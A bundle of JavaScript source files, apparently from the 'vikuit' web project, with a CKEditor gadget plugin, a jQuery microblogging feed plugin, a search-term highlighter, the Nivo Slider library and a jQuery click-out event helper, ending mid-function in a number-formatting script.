This file is part of "vikuit".
"vikuit" is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
"vikuit" is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY, without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with "vikuit". If not, see <http://www.gnu.org/licenses/>.
*/
CKEDITOR.plugins.setLang('gadget','en',{gadget:{
GadgetBtn : 'Insert Google Gadget',
GadgetDlgTitle : 'Gadget Properties',
GadgetDlgUrl : 'Gadget URL',
GadgetDlgHeight : 'Gadget Height',
GadgetDlgWidth : 'Gadget Width',
GadgetErrNoUrl : 'Please provide a URL',
GadgetErrNoHeight : 'Please provide a height',
GadgetErrNoWidth : 'Please provide a width'
}}); | JavaScript |
( function(){
var gadgetDialog = function(editor){
return {
title : 'Google Gadget Properties',
minWidth : 400,
minHeight : 300,
contents :
[
{
id : 'dialog',
label : 'Google Gadget Properties',
expand : true,
elements :
[
{
type : 'text',
id : 'url',
label : 'url',
style : 'width:100%'
},
{
type : 'text',
id : 'width',
label : 'width',
style : 'width:100%'
},
{
type : 'text',
id : 'height',
label : 'height',
style : 'width:100%'
}
]
}
]
}
}
CKEDITOR.dialog.add('gadget', function(editor) {
return gadgetDialog(editor);
});
})(); | JavaScript |
/*
Copyright (c) 2003-2011, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
| JavaScript |
/**
* Modified by jose.blanco at vikuit dot com
* This file is part of vikuit, please check vikuit license.
**/
(function($){
var maxItems=0;
var style = 'mblog';
var labelBy = 'By';
var labelRead = 'Read more';
var current = "";
var standard = true;
$.fn.microblogging = function(j){
var k=$.extend({
targeturl:"http://www.vikuit.com/",
loadingImg:'/static/images/throbber.gif',
maxItems:1,
standard:true,
current:"",
style:'mblog',
labelBy:'By',
labelRead:'Read more'},j);
if(!j.targeturl)
return false;
var l=$.extend(k,j);
var n="xml";
var divid=guid();
this.append('<div id="'+divid+'newsfeed"><div class="atomloader" style="position:absolute;text-align:center;z-index:99;"><img src="'+l.loadingImg+'"/></div></div>');
$('#'+divid+'newsfeed .atomloader').width(this.width());
$('#'+divid+'newsfeed .atomloader').height(this.height());
$('#'+divid+'newsfeed .atomloader img').height(this.height()/4);
var toplocal=(this.height()/2)-($('#'+divid+'newsfeed .atomloader img').height()/2)
$('#'+divid+'newsfeed .atomloader img').css('margin-top',toplocal+'px');
var path=l.targeturl;
maxItems=l.maxItems;
standard = l.standard;
style = l.style;
labelBy = l.labelBy;
labelRead = l.labelRead;
current = l.current;
requestRSS(path,function(results){
$('#'+divid+'newsfeed').append(results);
$('#'+divid+'newsfeed .atomloader').remove();
});
};
function S4(){
return(((1+Math.random())*0x10000)|0).toString(16).substring(1);
}
function guid(){
return(S4()+S4()+"-"+S4()+"-"+S4()+"-"+S4()+"-"+S4()+S4()+S4());
}
function requestRSS(site,callback){
if(!site){
alert('No site was passed.');
return false;
}
$.ajax({
type: 'get',
url: site,
async: true,
error: function(){
document.getElementById("mssger" ).innerHTML = "Oops!! :(";
$( "#mssger" ).dialog( "open" );
},
success: function(data){cbFunc(data)}
});
function cbFunc(data){
var items = data.getElementsByTagName("item");
if(items[0]){
var datalength=items.length;
if(datalength>maxItems){
datalength=maxItems
};
var i;
var feedHTML="";
for(i=0;i<datalength;i++) {
var author = items[i].getElementsByTagName("author")[0].childNodes[0].nodeValue;
feedHTML += "<div class='"+style+"'><blockquote>";
feedHTML+="<cite>"+(standard?labelBy+": ":"")+"<strong>"+author +"</strong>"
try {
if (standard && (author == current || current == 'admin' )){
try {
var key = -1;
var tokens = items[i].getElementsByTagName("link")[0].textContent.split("/");
if (tokens.length > 0){
key = tokens[tokens.length-1];
}
feedHTML+=" <a href='javascript:removeBloggingPost(\""+key+"\");'><img src='/static/images/cross.png' /></a> ";
} catch(e){}
}
} catch(e) {}
try {
var pub = new Date(items[i].getElementsByTagName("pubDate")[0].childNodes[0].nodeValue);
feedHTML+=" | "+ pub.toLocaleDateString()+" "+pub.toLocaleTimeString()+""
} catch(e) {}
feedHTML += "</cite>";
feedHTML+="<p>"+items[i].getElementsByTagName("title")[0].childNodes[0].nodeValue+"</p>";
feedHTML+="</blockquote></div>";
}
if(typeof callback==='function'){
callback(feedHTML);
}
} else throw new Error('Nothing returned from getJSON.');
}
}//Cross
})(jQuery);
function sendBloggingPost(user, content) {
var params = "auth="+auth+"&content="+content;
var href = "/module/mblog.edit?"
ajaxPost(href, params);
}
function removeBloggingPost(key) {
var params = "act=del&auth="+auth+"&key="+key;
var href = "/module/mblog.edit?"
ajaxPost(href, params);
}
function ajaxPost(href, params){
$.ajax({
type: 'post',
url: href,
data: params,
dataType: 'json',
async: true,
cache: false,
error: function(){
document.getElementById("mssger" ).innerHTML = 'OOops!!';
$( "#mssger" ).dialog( "open" );
},
success: function(json){
var saved = json.saved;
if (saved == true){
document.getElementById("mssger").innerHTML = "OK";
$( "#mssger" ).dialog( "open" );
} else {
document.getElementById("mssger" ).innerHTML = json.msg;
$( "#mssger" ).dialog( "open" );
}
}
});
}
| JavaScript |
/** FROM: http://www.nsftools.com/misc/SearchAndHighlight.htm **/
/** Adapted by vikuit **/
/*
* This is the function that actually highlights a text string by
* adding HTML tags before and after all occurrences of the search
* term. You can pass your own tags if you'd like, or if the
* highlightStartTag or highlightEndTag parameters are omitted or
* are empty strings then the default <font> tags will be used.
*/
function doHighlight(bodyText, searchTerm, highlightStartTag, highlightEndTag)
{
if (searchTerm == "" || searchTerm.length < 3){
return bodyText;
}
// the highlightStartTag and highlightEndTag parameters are optional
if ((!highlightStartTag) || (!highlightEndTag)) {
highlightStartTag = "<span style='color:blue; background-color:yellow;'>";
highlightEndTag = "</span>";
}
// find all occurences of the search term in the given text,
// and add some "highlight" tags to them (we're not using a
// regular expression search, because we want to filter out
// matches that occur within HTML tags and script blocks, so
// we have to do a little extra validation)
var newText = "";
var i = -1;
var lcSearchTerm = searchTerm.toLowerCase();
var lcBodyText = bodyText.toLowerCase();
while (bodyText.length > 0) {
i = lcBodyText.indexOf(lcSearchTerm, i+1);
if (i < 0) {
newText += bodyText;
bodyText = "";
} else {
// skip anything inside an HTML tag
if (bodyText.lastIndexOf(">", i) >= bodyText.lastIndexOf("<", i)) {
// skip anything inside a <script> block
if (lcBodyText.lastIndexOf("/script>", i) >= lcBodyText.lastIndexOf("<script", i)) {
newText += bodyText.substring(0, i) + highlightStartTag + bodyText.substr(i, searchTerm.length) + highlightEndTag;
bodyText = bodyText.substr(i + searchTerm.length);
lcBodyText = bodyText.toLowerCase();
i = -1;
}
}
}
}
return newText;
}
/*
* This is sort of a wrapper function to the doHighlight function.
* It takes the searchText that you pass, optionally splits it into
* separate words, and transforms the text on the current web page.
* Only the "searchText" parameter is required; all other parameters
* are optional and can be omitted.
*/
function highlightSearchTerms(searchText, treatAsPhrase, warnOnFailure, highlightStartTag, highlightEndTag)
{
// if the treatAsPhrase parameter is true, then we should search for
// the entire phrase that was entered; otherwise, we will split the
// search string so that each word is searched for and highlighted
// individually
if (treatAsPhrase) {
searchArray = [searchText];
} else {
searchArray = searchText.split(" ");
}
if (!document.body || typeof(document.body.innerHTML) == "undefined") {
if (warnOnFailure) {
alert("Sorry, for some reason the text of this page is unavailable. Searching will not work.");
}
return false;
}
var bodyText = document.body.innerHTML;
for (var i = 0; i < searchArray.length; i++) {
bodyText = doHighlight(bodyText, searchArray[i], highlightStartTag, highlightEndTag);
}
document.body.innerHTML = bodyText;
return true;
}
/*
* This displays a dialog box that allows a user to enter their own
* search terms to highlight on the page, and then passes the search
* text or phrase to the highlightSearchTerms function. All parameters
* are optional.
*/
function searchPrompt(defaultText, treatAsPhrase, textColor, bgColor)
{
// This function prompts the user for any words that should
// be highlighted on this web page
if (!defaultText) {
defaultText = "";
}
// we can optionally use our own highlight tag values
if ((!textColor) || (!bgColor)) {
highlightStartTag = "";
highlightEndTag = "";
} else {
highlightStartTag = "<span style='color:" + textColor + "; background-color:" + bgColor + ";'>";
highlightEndTag = "</span>";
}
if (treatAsPhrase) {
promptText = "Please enter the phrase you'd like to search for:";
} else {
promptText = "Please enter the words you'd like to search for, separated by spaces:";
}
searchText = prompt(promptText, defaultText);
if (!searchText) {
alert("No search terms were entered. Exiting function.");
return false;
}
return highlightSearchTerms(searchText, treatAsPhrase, true, highlightStartTag, highlightEndTag);
}
/*
* This function takes a referer/referrer string and parses it
* to determine if it contains any search terms. If it does, the
* search terms are passed to the highlightSearchTerms function
* so they can be highlighted on the current page.
*/
function highlightGoogleSearchTerms(referrer)
{
// This function has only been very lightly tested against
// typical Google search URLs. If you wanted the Google search
// terms to be automatically highlighted on a page, you could
// call the function in the onload event of your <body> tag,
// like this:
// <body onload='highlightGoogleSearchTerms(document.referrer);'>
//var referrer = document.referrer;
if (!referrer) {
return false;
}
var queryPrefix = "q=";
var startPos = referrer.toLowerCase().indexOf(queryPrefix);
if ((startPos < 0) || (startPos + queryPrefix.length == referrer.length)) {
return false;
}
var endPos = referrer.indexOf("&", startPos);
if (endPos < 0) {
endPos = referrer.length;
}
var queryString = referrer.substring(startPos + queryPrefix.length, endPos);
// fix the space characters
queryString = queryString.replace(/%20/gi, " ");
queryString = queryString.replace(/\+/gi, " ");
// remove the quotes (if you're really creative, you could search for the
// terms within the quotes as phrases, and everything else as single terms)
queryString = queryString.replace(/%22/gi, "");
queryString = queryString.replace(/\"/gi, "");
return highlightSearchTerms(queryString, false);
}
/*
* This function is just an easy way to test the highlightGoogleSearchTerms
* function.
*/
function testHighlightGoogleSearchTerms()
{
var referrerString = "http://www.google.com/search?q=javascript%20highlight&start=0";
referrerString = prompt("Test the following referrer string:", referrerString);
return highlightGoogleSearchTerms(referrerString);
} | JavaScript |
/*
* jQuery Nivo Slider v3.2
* http://nivo.dev7studios.com
*
* Copyright 2012, Dev7studios
* Free to use and abuse under the MIT license.
* http://www.opensource.org/licenses/mit-license.php
*/
(function($) {
var NivoSlider = function(element, options){
// Defaults are below
var settings = $.extend({}, $.fn.nivoSlider.defaults, options);
// Useful variables. Play carefully.
var vars = {
currentSlide: 0,
currentImage: '',
totalSlides: 0,
running: false,
paused: false,
stop: false,
controlNavEl: false
};
// Get this slider
var slider = $(element);
slider.data('nivo:vars', vars).addClass('nivoSlider');
// Find our slider children
var kids = slider.children();
kids.each(function() {
var child = $(this);
var link = '';
if(!child.is('img')){
if(child.is('a')){
child.addClass('nivo-imageLink');
link = child;
}
child = child.find('img:first');
}
// Get img width & height
var childWidth = (childWidth === 0) ? child.attr('width') : child.width(),
childHeight = (childHeight === 0) ? child.attr('height') : child.height();
if(link !== ''){
link.css('display','none');
}
child.css('display','none');
vars.totalSlides++;
});
// If randomStart
if(settings.randomStart){
settings.startSlide = Math.floor(Math.random() * vars.totalSlides);
}
// Set startSlide
if(settings.startSlide > 0){
if(settings.startSlide >= vars.totalSlides) { settings.startSlide = vars.totalSlides - 1; }
vars.currentSlide = settings.startSlide;
}
// Get initial image
if($(kids[vars.currentSlide]).is('img')){
vars.currentImage = $(kids[vars.currentSlide]);
} else {
vars.currentImage = $(kids[vars.currentSlide]).find('img:first');
}
// Show initial link
if($(kids[vars.currentSlide]).is('a')){
$(kids[vars.currentSlide]).css('display','block');
}
// Set first background
var sliderImg = $('<img/>').addClass('nivo-main-image');
sliderImg.attr('src', vars.currentImage.attr('src')).show();
slider.append(sliderImg);
// Detect Window Resize
$(window).resize(function() {
slider.children('img').width(slider.width());
sliderImg.attr('src', vars.currentImage.attr('src'));
sliderImg.stop().height('auto');
$('.nivo-slice').remove();
$('.nivo-box').remove();
});
//Create caption
slider.append($('<div class="nivo-caption"></div>'));
// Process caption function
var processCaption = function(settings){
var nivoCaption = $('.nivo-caption', slider);
if(vars.currentImage.attr('title') != '' && vars.currentImage.attr('title') != undefined){
var title = vars.currentImage.attr('title');
if(title.substr(0,1) == '#') title = $(title).html();
if(nivoCaption.css('display') == 'block'){
setTimeout(function(){
nivoCaption.html(title);
}, settings.animSpeed);
} else {
nivoCaption.html(title);
nivoCaption.stop().fadeIn(settings.animSpeed);
}
} else {
nivoCaption.stop().fadeOut(settings.animSpeed);
}
}
//Process initial caption
processCaption(settings);
// In the words of Super Mario "let's a go!"
var timer = 0;
if(!settings.manualAdvance && kids.length > 1){
timer = setInterval(function(){ nivoRun(slider, kids, settings, false); }, settings.pauseTime);
}
// Add Direction nav
if(settings.directionNav){
slider.append('<div class="nivo-directionNav"><a class="nivo-prevNav">'+ settings.prevText +'</a><a class="nivo-nextNav">'+ settings.nextText +'</a></div>');
$(slider).on('click', 'a.nivo-prevNav', function(){
if(vars.running) { return false; }
clearInterval(timer);
timer = '';
vars.currentSlide -= 2;
nivoRun(slider, kids, settings, 'prev');
});
$(slider).on('click', 'a.nivo-nextNav', function(){
if(vars.running) { return false; }
clearInterval(timer);
timer = '';
nivoRun(slider, kids, settings, 'next');
});
}
// Add Control nav
if(settings.controlNav){
vars.controlNavEl = $('<div class="nivo-controlNav"></div>');
slider.after(vars.controlNavEl);
for(var i = 0; i < kids.length; i++){
if(settings.controlNavThumbs){
vars.controlNavEl.addClass('nivo-thumbs-enabled');
var child = kids.eq(i);
if(!child.is('img')){
child = child.find('img:first');
}
if(child.attr('data-thumb')) vars.controlNavEl.append('<a class="nivo-control" rel="'+ i +'"><img src="'+ child.attr('data-thumb') +'" alt="" /></a>');
} else {
vars.controlNavEl.append('<a class="nivo-control" rel="'+ i +'">'+ (i + 1) +'</a>');
}
}
//Set initial active link
$('a:eq('+ vars.currentSlide +')', vars.controlNavEl).addClass('active');
$('a', vars.controlNavEl).bind('click', function(){
if(vars.running) return false;
if($(this).hasClass('active')) return false;
clearInterval(timer);
timer = '';
sliderImg.attr('src', vars.currentImage.attr('src'));
vars.currentSlide = $(this).attr('rel') - 1;
nivoRun(slider, kids, settings, 'control');
});
}
//For pauseOnHover setting
if(settings.pauseOnHover){
slider.hover(function(){
vars.paused = true;
clearInterval(timer);
timer = '';
}, function(){
vars.paused = false;
// Restart the timer
if(timer === '' && !settings.manualAdvance){
timer = setInterval(function(){ nivoRun(slider, kids, settings, false); }, settings.pauseTime);
}
});
}
// Event when Animation finishes
slider.bind('nivo:animFinished', function(){
sliderImg.attr('src', vars.currentImage.attr('src'));
vars.running = false;
// Hide child links
$(kids).each(function(){
if($(this).is('a')){
$(this).css('display','none');
}
});
// Show current link
if($(kids[vars.currentSlide]).is('a')){
$(kids[vars.currentSlide]).css('display','block');
}
// Restart the timer
if(timer === '' && !vars.paused && !settings.manualAdvance){
timer = setInterval(function(){ nivoRun(slider, kids, settings, false); }, settings.pauseTime);
}
// Trigger the afterChange callback
settings.afterChange.call(this);
});
// Add slices for slice animations
var createSlices = function(slider, settings, vars) {
if($(vars.currentImage).parent().is('a')) $(vars.currentImage).parent().css('display','block');
$('img[src="'+ vars.currentImage.attr('src') +'"]', slider).not('.nivo-main-image,.nivo-control img').width(slider.width()).css('visibility', 'hidden').show();
var sliceHeight = ($('img[src="'+ vars.currentImage.attr('src') +'"]', slider).not('.nivo-main-image,.nivo-control img').parent().is('a')) ? $('img[src="'+ vars.currentImage.attr('src') +'"]', slider).not('.nivo-main-image,.nivo-control img').parent().height() : $('img[src="'+ vars.currentImage.attr('src') +'"]', slider).not('.nivo-main-image,.nivo-control img').height();
for(var i = 0; i < settings.slices; i++){
var sliceWidth = Math.round(slider.width()/settings.slices);
if(i === settings.slices-1){
slider.append(
$('<div class="nivo-slice" name="'+i+'"><img src="'+ vars.currentImage.attr('src') +'" style="position:absolute; width:'+ slider.width() +'px; height:auto; display:block !important; top:0; left:-'+ ((sliceWidth + (i * sliceWidth)) - sliceWidth) +'px;" /></div>').css({
left:(sliceWidth*i)+'px',
width:(slider.width()-(sliceWidth*i))+'px',
height:sliceHeight+'px',
opacity:'0',
overflow:'hidden'
})
);
} else {
slider.append(
$('<div class="nivo-slice" name="'+i+'"><img src="'+ vars.currentImage.attr('src') +'" style="position:absolute; width:'+ slider.width() +'px; height:auto; display:block !important; top:0; left:-'+ ((sliceWidth + (i * sliceWidth)) - sliceWidth) +'px;" /></div>').css({
left:(sliceWidth*i)+'px',
width:sliceWidth+'px',
height:sliceHeight+'px',
opacity:'0',
overflow:'hidden'
})
);
}
}
$('.nivo-slice', slider).height(sliceHeight);
sliderImg.stop().animate({
height: $(vars.currentImage).height()
}, settings.animSpeed);
};
// Add boxes for box animations
var createBoxes = function(slider, settings, vars){
if($(vars.currentImage).parent().is('a')) $(vars.currentImage).parent().css('display','block');
$('img[src="'+ vars.currentImage.attr('src') +'"]', slider).not('.nivo-main-image,.nivo-control img').width(slider.width()).css('visibility', 'hidden').show();
var boxWidth = Math.round(slider.width()/settings.boxCols),
boxHeight = Math.round($('img[src="'+ vars.currentImage.attr('src') +'"]', slider).not('.nivo-main-image,.nivo-control img').height() / settings.boxRows);
for(var rows = 0; rows < settings.boxRows; rows++){
for(var cols = 0; cols < settings.boxCols; cols++){
if(cols === settings.boxCols-1){
slider.append(
$('<div class="nivo-box" name="'+ cols +'" rel="'+ rows +'"><img src="'+ vars.currentImage.attr('src') +'" style="position:absolute; width:'+ slider.width() +'px; height:auto; display:block; top:-'+ (boxHeight*rows) +'px; left:-'+ (boxWidth*cols) +'px;" /></div>').css({
opacity:0,
left:(boxWidth*cols)+'px',
top:(boxHeight*rows)+'px',
width:(slider.width()-(boxWidth*cols))+'px'
})
);
$('.nivo-box[name="'+ cols +'"]', slider).height($('.nivo-box[name="'+ cols +'"] img', slider).height()+'px');
} else {
slider.append(
$('<div class="nivo-box" name="'+ cols +'" rel="'+ rows +'"><img src="'+ vars.currentImage.attr('src') +'" style="position:absolute; width:'+ slider.width() +'px; height:auto; display:block; top:-'+ (boxHeight*rows) +'px; left:-'+ (boxWidth*cols) +'px;" /></div>').css({
opacity:0,
left:(boxWidth*cols)+'px',
top:(boxHeight*rows)+'px',
width:boxWidth+'px'
})
);
$('.nivo-box[name="'+ cols +'"]', slider).height($('.nivo-box[name="'+ cols +'"] img', slider).height()+'px');
}
}
}
sliderImg.stop().animate({
height: $(vars.currentImage).height()
}, settings.animSpeed);
};
// Private run method
var nivoRun = function(slider, kids, settings, nudge){
// Get our vars
var vars = slider.data('nivo:vars');
// Trigger the lastSlide callback
if(vars && (vars.currentSlide === vars.totalSlides - 1)){
settings.lastSlide.call(this);
}
// Stop
if((!vars || vars.stop) && !nudge) { return false; }
// Trigger the beforeChange callback
settings.beforeChange.call(this);
// Set current background before change
if(!nudge){
sliderImg.attr('src', vars.currentImage.attr('src'));
} else {
if(nudge === 'prev'){
sliderImg.attr('src', vars.currentImage.attr('src'));
}
if(nudge === 'next'){
sliderImg.attr('src', vars.currentImage.attr('src'));
}
}
vars.currentSlide++;
// Trigger the slideshowEnd callback
if(vars.currentSlide === vars.totalSlides){
vars.currentSlide = 0;
settings.slideshowEnd.call(this);
}
if(vars.currentSlide < 0) { vars.currentSlide = (vars.totalSlides - 1); }
// Set vars.currentImage
if($(kids[vars.currentSlide]).is('img')){
vars.currentImage = $(kids[vars.currentSlide]);
} else {
vars.currentImage = $(kids[vars.currentSlide]).find('img:first');
}
// Set active links
if(settings.controlNav){
$('a', vars.controlNavEl).removeClass('active');
$('a:eq('+ vars.currentSlide +')', vars.controlNavEl).addClass('active');
}
// Process caption
processCaption(settings);
// Remove any slices from last transition
$('.nivo-slice', slider).remove();
// Remove any boxes from last transition
$('.nivo-box', slider).remove();
var currentEffect = settings.effect,
anims = '';
// Generate random effect
if(settings.effect === 'random'){
anims = new Array('sliceDownRight','sliceDownLeft','sliceUpRight','sliceUpLeft','sliceUpDown','sliceUpDownLeft','fold','fade',
'boxRandom','boxRain','boxRainReverse','boxRainGrow','boxRainGrowReverse');
currentEffect = anims[Math.floor(Math.random()*(anims.length + 1))];
if(currentEffect === undefined) { currentEffect = 'fade'; }
}
// Run random effect from specified set (eg: effect:'fold,fade')
if(settings.effect.indexOf(',') !== -1){
anims = settings.effect.split(',');
currentEffect = anims[Math.floor(Math.random()*(anims.length))];
if(currentEffect === undefined) { currentEffect = 'fade'; }
}
// Custom transition as defined by "data-transition" attribute
if(vars.currentImage.attr('data-transition')){
currentEffect = vars.currentImage.attr('data-transition');
}
// Run effects
vars.running = true;
var timeBuff = 0,
i = 0,
slices = '',
firstSlice = '',
totalBoxes = '',
boxes = '';
if(currentEffect === 'sliceDown' || currentEffect === 'sliceDownRight' || currentEffect === 'sliceDownLeft'){
createSlices(slider, settings, vars);
timeBuff = 0;
i = 0;
slices = $('.nivo-slice', slider);
if(currentEffect === 'sliceDownLeft') { slices = $('.nivo-slice', slider)._reverse(); }
slices.each(function(){
var slice = $(this);
slice.css({ 'top': '0px' });
if(i === settings.slices-1){
setTimeout(function(){
slice.animate({opacity:'1.0' }, settings.animSpeed, '', function(){ slider.trigger('nivo:animFinished'); });
}, (100 + timeBuff));
} else {
setTimeout(function(){
slice.animate({opacity:'1.0' }, settings.animSpeed);
}, (100 + timeBuff));
}
timeBuff += 50;
i++;
});
} else if(currentEffect === 'sliceUp' || currentEffect === 'sliceUpRight' || currentEffect === 'sliceUpLeft'){
createSlices(slider, settings, vars);
timeBuff = 0;
i = 0;
slices = $('.nivo-slice', slider);
if(currentEffect === 'sliceUpLeft') { slices = $('.nivo-slice', slider)._reverse(); }
slices.each(function(){
var slice = $(this);
slice.css({ 'bottom': '0px' });
if(i === settings.slices-1){
setTimeout(function(){
slice.animate({opacity:'1.0' }, settings.animSpeed, '', function(){ slider.trigger('nivo:animFinished'); });
}, (100 + timeBuff));
} else {
setTimeout(function(){
slice.animate({opacity:'1.0' }, settings.animSpeed);
}, (100 + timeBuff));
}
timeBuff += 50;
i++;
});
} else if(currentEffect === 'sliceUpDown' || currentEffect === 'sliceUpDownRight' || currentEffect === 'sliceUpDownLeft'){
createSlices(slider, settings, vars);
timeBuff = 0;
i = 0;
var v = 0;
slices = $('.nivo-slice', slider);
if(currentEffect === 'sliceUpDownLeft') { slices = $('.nivo-slice', slider)._reverse(); }
slices.each(function(){
var slice = $(this);
if(i === 0){
slice.css('top','0px');
i++;
} else {
slice.css('bottom','0px');
i = 0;
}
if(v === settings.slices-1){
setTimeout(function(){
slice.animate({opacity:'1.0' }, settings.animSpeed, '', function(){ slider.trigger('nivo:animFinished'); });
}, (100 + timeBuff));
} else {
setTimeout(function(){
slice.animate({opacity:'1.0' }, settings.animSpeed);
}, (100 + timeBuff));
}
timeBuff += 50;
v++;
});
} else if(currentEffect === 'fold'){
createSlices(slider, settings, vars);
timeBuff = 0;
i = 0;
$('.nivo-slice', slider).each(function(){
var slice = $(this);
var origWidth = slice.width();
slice.css({ top:'0px', width:'0px' });
if(i === settings.slices-1){
setTimeout(function(){
slice.animate({ width:origWidth, opacity:'1.0' }, settings.animSpeed, '', function(){ slider.trigger('nivo:animFinished'); });
}, (100 + timeBuff));
} else {
setTimeout(function(){
slice.animate({ width:origWidth, opacity:'1.0' }, settings.animSpeed);
}, (100 + timeBuff));
}
timeBuff += 50;
i++;
});
} else if(currentEffect === 'fade'){
createSlices(slider, settings, vars);
firstSlice = $('.nivo-slice:first', slider);
firstSlice.css({
'width': slider.width() + 'px'
});
firstSlice.animate({ opacity:'1.0' }, (settings.animSpeed*2), '', function(){ slider.trigger('nivo:animFinished'); });
} else if(currentEffect === 'slideInRight'){
createSlices(slider, settings, vars);
firstSlice = $('.nivo-slice:first', slider);
firstSlice.css({
'width': '0px',
'opacity': '1'
});
firstSlice.animate({ width: slider.width() + 'px' }, (settings.animSpeed*2), '', function(){ slider.trigger('nivo:animFinished'); });
} else if(currentEffect === 'slideInLeft'){
createSlices(slider, settings, vars);
firstSlice = $('.nivo-slice:first', slider);
firstSlice.css({
'width': '0px',
'opacity': '1',
'left': '',
'right': '0px'
});
firstSlice.animate({ width: slider.width() + 'px' }, (settings.animSpeed*2), '', function(){
// Reset positioning
firstSlice.css({
'left': '0px',
'right': ''
});
slider.trigger('nivo:animFinished');
});
} else if(currentEffect === 'boxRandom'){
createBoxes(slider, settings, vars);
totalBoxes = settings.boxCols * settings.boxRows;
i = 0;
timeBuff = 0;
boxes = shuffle($('.nivo-box', slider));
boxes.each(function(){
var box = $(this);
if(i === totalBoxes-1){
setTimeout(function(){
box.animate({ opacity:'1' }, settings.animSpeed, '', function(){ slider.trigger('nivo:animFinished'); });
}, (100 + timeBuff));
} else {
setTimeout(function(){
box.animate({ opacity:'1' }, settings.animSpeed);
}, (100 + timeBuff));
}
timeBuff += 20;
i++;
});
} else if(currentEffect === 'boxRain' || currentEffect === 'boxRainReverse' || currentEffect === 'boxRainGrow' || currentEffect === 'boxRainGrowReverse'){
createBoxes(slider, settings, vars);
totalBoxes = settings.boxCols * settings.boxRows;
i = 0;
timeBuff = 0;
// Split boxes into 2D array
var rowIndex = 0;
var colIndex = 0;
var box2Darr = [];
box2Darr[rowIndex] = [];
boxes = $('.nivo-box', slider);
if(currentEffect === 'boxRainReverse' || currentEffect === 'boxRainGrowReverse'){
boxes = $('.nivo-box', slider)._reverse();
}
boxes.each(function(){
box2Darr[rowIndex][colIndex] = $(this);
colIndex++;
if(colIndex === settings.boxCols){
rowIndex++;
colIndex = 0;
box2Darr[rowIndex] = [];
}
});
// Run animation
for(var cols = 0; cols < (settings.boxCols * 2); cols++){
var prevCol = cols;
for(var rows = 0; rows < settings.boxRows; rows++){
if(prevCol >= 0 && prevCol < settings.boxCols){
/* Due to some weird JS bug with loop vars
being used in setTimeout, this is wrapped
with an anonymous function call */
(function(row, col, time, i, totalBoxes) {
var box = $(box2Darr[row][col]);
var w = box.width();
var h = box.height();
if(currentEffect === 'boxRainGrow' || currentEffect === 'boxRainGrowReverse'){
box.width(0).height(0);
}
if(i === totalBoxes-1){
setTimeout(function(){
box.animate({ opacity:'1', width:w, height:h }, settings.animSpeed/1.3, '', function(){ slider.trigger('nivo:animFinished'); });
}, (100 + time));
} else {
setTimeout(function(){
box.animate({ opacity:'1', width:w, height:h }, settings.animSpeed/1.3);
}, (100 + time));
}
})(rows, prevCol, timeBuff, i, totalBoxes);
i++;
}
prevCol--;
}
timeBuff += 100;
}
}
};
// Shuffle an array
var shuffle = function(arr){
for(var j, x, i = arr.length; i; j = parseInt(Math.random() * i, 10), x = arr[--i], arr[i] = arr[j], arr[j] = x);
return arr;
};
// For debugging
var trace = function(msg){
if(this.console && typeof console.log !== 'undefined') { console.log(msg); }
};
// Start / Stop
this.stop = function(){
if(!$(element).data('nivo:vars').stop){
$(element).data('nivo:vars').stop = true;
trace('Stop Slider');
}
};
this.start = function(){
if($(element).data('nivo:vars').stop){
$(element).data('nivo:vars').stop = false;
trace('Start Slider');
}
};
// Trigger the afterLoad callback
settings.afterLoad.call(this);
return this;
};
$.fn.nivoSlider = function(options) {
return this.each(function(key, value){
var element = $(this);
// Return early if this element already has a plugin instance
if (element.data('nivoslider')) { return element.data('nivoslider'); }
// Pass options to plugin constructor
var nivoslider = new NivoSlider(this, options);
// Store plugin object in this element's data
element.data('nivoslider', nivoslider);
});
};
//Default settings
$.fn.nivoSlider.defaults = {
effect: 'random',
slices: 15,
boxCols: 8,
boxRows: 4,
animSpeed: 500,
pauseTime: 3000,
startSlide: 0,
directionNav: true,
controlNav: true,
controlNavThumbs: false,
pauseOnHover: true,
manualAdvance: false,
prevText: 'Prev',
nextText: 'Next',
randomStart: false,
beforeChange: function(){},
afterChange: function(){},
slideshowEnd: function(){},
lastSlide: function(){},
afterLoad: function(){}
};
$.fn._reverse = [].reverse;
})(jQuery); | JavaScript |
/**
* |-----------------|
* | jQuery-Clickout |
* |-----------------|
* jQuery-Clickout is freely distributable under the MIT license.
*
* <a href="https://github.com/chalbert/Backbone-Elements">More details & documentation</a>
*
* @author Nicolas Gilbert
*
* @requires jQuery
*/
(function(factory){
'use strict';
if (typeof define === 'function' && define.amd) {
define(['jquery'], factory);
} else {
factory($);
}
})(function ($){
'use strict';
/**
* A static counter is tied to the doc element to track click-out registration
* @static
*/
var counter = 0,
/**
* On mobile Touch browsers, 'click' are not triggered on every element.
* Touchstart is.
* @static
*/
click = window.Touch ? 'touchstart' : 'click';
/**
* Shortcut for .on('clickout')
*
* @param data
* @param fn
*/
$.fn.clickout = function(data, fn) {
if (!fn) {
fn = data;
data = null;
}
if (arguments.length > 0) {
this.on('clickout', data, fn);
} else {
return this.trigger('clickout');
}
};
/**
* Implements the 'special' jQuery event interface
* Native way to add non-conventional events
*/
jQuery.event.special.clickout = {
/**
* When the event is added
* @param handleObj Event handler
*/
add: function(handleObj){
counter++;
// Add counter to element
var target = handleObj.selector
? $(this).find(handleObj.selector)
: $(this);
target.attr('data-clickout', counter);
// When the click is inside, extend the Event object to mark it as so
$(this).on(click + '.clickout' + counter, handleObj.selector, function(e){
e.originalEvent.clickin = $(this).attr('data-clickout');
});
// Bind a click event to the document, to be cought after bubbling
$(document).bind(click + '.clickout' + counter, (function(id){
// A closure is used create a static id
return function(e){
// If the click is not inside the element, call the callback
if (!e.originalEvent.clickin || e.originalEvent.clickin !== id) {
handleObj.handler.apply(this, arguments);
}
};
})(counter));
},
/**
* When the event is removed
* @param handleObj Event handler
*/
remove: function(handleObj) {
var target = handleObj.selector
? $(this).find(handleObj.selector)
: $(this)
, id = target.attr('data-clickout');
target.removeAttr('data-clickout');
$(document).unbind(click + '.clickout' + id);
$(this).off(click + '.clickout' + id, handleObj.selector);
return false;
}
};
return $;
}); | JavaScript |
(function(a) {
function c(c, a, b) {
this.dec = c;
this.group = a;
this.neg = b
}
function b(a) {
var d = ".", b = ",", e = "-";
